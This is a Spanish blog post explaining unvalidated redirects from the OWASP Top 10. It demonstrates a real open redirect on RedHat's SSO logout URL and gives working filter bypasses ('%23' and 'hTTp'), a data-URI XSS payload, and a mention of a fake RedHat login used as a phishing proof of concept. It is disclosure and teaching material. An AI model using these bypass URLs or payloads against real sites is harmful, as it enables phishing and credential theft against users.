miércoles, 20 de marzo de 2013

Redirecciones no validadas (caso práctico)

En el último puesto del "OWASP Top 10" del año 2010, se incluyó una nueva vulnerabilidad con el nombre de "Unvalidated Redirects and Forwards". En la versión "Release Candidate" de este año del mismo documento, dicha vulnerabilidad aún se mantiene vigente y en su mismo puesto. Pero... ¿De qué trata este fallo de seguridad?

Este fallo se produce cuando una aplicación web emplea datos no validados adecuadamente para redirigir al usuario a otra página o sitio web. De esta manera un atacante puede redirigir a la victima a sitios maliciosos de phishing o malware explotando la confianza de la victima en la web vulnerable. Si consideramos la confiabilidad como un recurso de la organización, evidentemente este recurso se verá afectado por la explotación de este fallo.

Para explicar esto de forma práctica tomaré como ejemplo un fallo de redirección en la página web de RedHat. No si antes aclarar que esta vulnerabilidad ya fue reportada al equipo de seguridad de RedHat, aunque ellos no consideran que se trate de un fallo de seguridad que pueda afectarles. Puesto así, no veo inconvenientes para usarlo con fines didácticos.

La URL en cuestión es la siguiente:

https://www.redhat.com/wapps/sso/logout.html?redirect=http://www.redhat.com/

Como podemos observar hay un parámetro "redirect" que contiene la URL destino. Si observamos los headers HTTP de la respuesta podrémos observar algo como esto:

$ curl -I "https://www.redhat.com/wapps/sso/logout.html?redirect=http://www.redhat.com/"

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Location: http://www.redhat.com/
Content-Type: text/html; charset=UTF-8
Content-Length: 0
...


Aparentemente, explotar esto sería tan sencillo como cambiar el valor de la variable "redirect" por la URL del sitio web malicioso. Sin embargo, no funcionará puesto que hay ciertas validaciones.

$ curl -I "https://www.redhat.com/wapps/sso/logout.html?redirect=http://www.google.com/"

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Location: https://www.redhat.com/wapps/ugc/protected/account.html
Content-Type: text/html; charset=UTF-8
Content-Length: 0

...

Luego de algunas pruebas más, observé que una de las restricciones es que el dominio base de la URL destino debe ser "redhat.com".

$ curl -I "https://www.redhat.com/wapps/sso/logout.html?redirect=http://foobar.redhat.com/"

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Location: http://foobar.redhat.com/
Content-Type: text/html; charset=UTF-8
Content-Length: 0

...

Por último, luego de hacer algo de fuzzing, conseguí bypassear la restricción usando el caracter "#" (%23) en el nombre de un subdominio.

$ curl -I "https://www.redhat.com/wapps/sso/logout.html?redirect=http://alguienenlafisi.blogspot.com%23.redhat.com/"

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Location: http://alguienenlafisi.blogspot.com#.redhat.com/
Content-Type: text/html; charset=UTF-8
Content-Length: 0

...

El caractér "#" en una URL sirve para especificar un "ancla", es decir, una sección en particular dentro de un documento HTML. En este caso dicho carácter no está siendo filtrado y se considera como parte del nombre de un subdominio de "redhat.com", sin embargo los navegadores lo interpretarán como un ancla con nombre ".redhat.com" dentro de "http://alguienenlafisi.blogspot.com".

Entonces podemos explotar esto enviando la siguiente URL a la víctima:

https://www.redhat.com/wapps/sso/logout.html?redirect=http://alguienenlafisi.blogspot.com%23.redhat.com/

Además mi amigo Dedalo, consiguió darle forma de XSS a esta vulnerabilidad usando una data-URI.

https://www.redhat.com/wapps/sso/logout.html?redirect=data%3Atext%2fhtml%2C%3Cscript%3Ealert%28%2fxss%2f.source%29%3C%2fscript%3E

Sorprendentemente, en ese caso no aplicaron las restricciones de dominio base. Y eso me dió otra idea para bypassear la validación del redirect.

https://www.redhat.com/wapps/sso/logout.html?redirect=hTTp://alguienenlafisi.blogspot.com/

Cambiando "http://" por "hTTp://" también se consigue evadir la validación porque, al parecer, su expresión regular es sensible a mayúsculas y solo aplica cuando la URL empieza con "http" xD

Como prueba de concepto, hice una página que simula ser un login de RedHat para acceder a una supuesta certificación online gratuita. Pueden probar metiendo cualquier cosa en el formulario.

PoC:



Conclusión

Los fallos de redirección no validada son vulnerabilidades poco comunes y dependiendo de la perspectiva, de impacto moderado a bajo. Es por ello quizá que no son tenidas en cuenta por algunas empresas como Google o RedHat. Sin embargo, este tipo de fallos pueden marcar la diferencia al momento en que un usuario decide dar clic a un link o no, explotando su confianza en el sitio web vulnerable. Si el destino del enlace es un sitio web conocido y relativamente confiable, es mucho más probable que el usuario decida seguir el enlace y que, en consecuencia, el atacante consiga su objetivo. Ya sea un ataque de phishing (como en la PoC) o de distribución de malware, el afectado directamente será el usuario víctima. Pero no debemos obviar que habrá un daño colateral a la confiabilidad de la organización vulnerable.


Un saludo.

2 comentarios:

  1. Exelente el articulo, buena explicacion tecnica.

    Gracias.

    Blog agregado a mis feeds.

    ResponderEliminar